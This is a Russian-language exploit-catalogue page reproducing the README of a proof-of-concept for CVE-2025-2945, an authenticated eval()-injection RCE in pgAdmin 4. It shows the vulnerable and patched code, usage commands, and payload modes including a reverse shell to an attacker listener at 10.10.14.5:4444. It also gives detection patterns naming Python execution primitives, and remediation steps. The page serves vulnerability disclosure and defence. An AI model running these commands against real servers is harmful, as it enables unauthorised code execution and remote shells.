Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

PoC для CVE-2025-2945 — аутентифицированная RCE через инъекцию eval() в pgAdmin 4, CVSS 9.9

Репозиторий
921 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-2945 — RCE в Query Tool pgAdmin 4 с аутентификацией

CVSS 3.1: 9.9 (Critical) · Затрагивает: pgAdmin 4 8.10 – 9.1 · Исправлено в: 9.2 (4 апреля 2025) CWE-95 (Некорректная нейтрализация директив в динамически вычисляемом коде / Eval Injection)

Эксплойт proof-of-concept для CVE-2025-2945 — уязвимости удалённого выполнения кода с аутентификацией в Query Tool pgAdmin 4. Логический флаг состояния транзакции (query_commited) передаётся напрямую в Python eval() вместо того, чтобы разбираться как логическое значение, что позволяет аутентифицированному пользователю выполнять произвольный Python — и, как следствие, произвольные команды ОС — с правами процесса службы pgAdmin. Тот же анти-паттерн присутствует во второй раз в модуле Cloud Deployment для провайдера Google (high_availability).

Полное техническое описание, охватывающее первопричину, логику эксплуатации, рекомендации по обнаружению и устранению, доступно здесь: khashayarnazarkardeh.com — Field Notes


Сводка по уязвимости

Уязвимый код (web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

Исправленный код (pgAdmin 9.2+):

root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

Уязвимость требует аутентифицированную сессию pgAdmin и транзакцию Query Tool, привязанную к серверу базы данных, уже зарегистрированному в целевой учётной записи. Оба условия являются типичными предпосылками в реальных развёртываниях, где pgAdmin обычно предварительно настроен с одним или несколькими сохранёнными подключениями к серверам.

Требования

  • Python 3.8+
  • Действительная учётная запись веб-интерфейса pgAdmin (--username / --password)
  • Учётные данные для сервера базы данных, уже зарегистрированного в этой учётной записи pgAdmin (--db-user / --db-password / --db-name)
  • Целевая система с pgAdmin 4 версии от 8.10 до 9.1 (включительно)

Установка

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

Использование

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <target> --port 80 \
    --username <pgadmin-email> --password <pgadmin-password> \
    --db-user <db-user> --db-password <db-password> --db-name <db-name> \
    --cmd id

Режимы полезной нагрузки (выберите один)

ФлагОписание
--cmd COMMANDВыполняет одну команду ОС через os.system()
--reverse-shell HOST:PORTЗапускает обратную оболочку через именованный канал на ваш прослушиватель
--raw-payload EXPRПередаёт сырое Python-выражение напрямую в уязвимый приёмник eval()

Пример — обратная оболочка

root@kitploit:~
# На вашем атакующем хосте, в отдельном терминале:
nc -lvnp 4444

# Запустите эксплойт:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

Все параметры

root@kitploit:~
python3 CVE-2025-2945.py --help

Обнаружение

Защитникам следует отслеживать:

  • POST-запросы к /sqleditor/query_tool/download/<trans_id> или /cloud/deploy, где query_commited / high_availability имеет любое значение, отличное от литерального "true", "false", "1" или "0".
  • Примитивы выполнения Python (__import__, os.system, subprocess, eval, exec, open(), появляющиеся в любом из этих параметров.
  • Неожиданные дочерние процессы, порождаемые учётной записью службы pgAdmin, особенно интерпретаторы оболочки или сетевые утилиты.

Устранение

Обновитесь до pgAdmin 4 9.2 или новее. Патч представляет собой минимальное исправление приведения к логическому типу с низким риском. Если немедленное патчирование невозможно, ограничьте сетевой доступ к pgAdmin доверенными аутентифицированными сетями и отключите модуль Cloud Deployment для учётных записей, которым он не требуется.

Ссылки

  • NVD — CVE-2025-2945
  • GitHub Security Advisory — GHSA-g73c-fw68-pwx3
  • pgAdmin issue #8603
  • Fix commit — 75be0bc

Автор

Khashayar Nazarkardeh — Лидер в области кибербезопасности и безопасности ИИ khashayarnazarkardeh.com · @Khashayarnzk

Отказ от ответственности

Этот инструмент предоставлен только для авторизованного тестирования безопасности, исследований и образовательных целей. Запуск этого инструмента против любой системы без явного, документированного разрешения владельца системы незаконен в большинстве юрисдикций. Автор не несёт ответственности за неправомерное использование этого программного обеспечения. Используя этот скрипт, вы соглашаетесь с тем, что несёте единоличную ответственность за обеспечение наличия у вас разрешения на тестирование целевой системы.

Скачать инструмент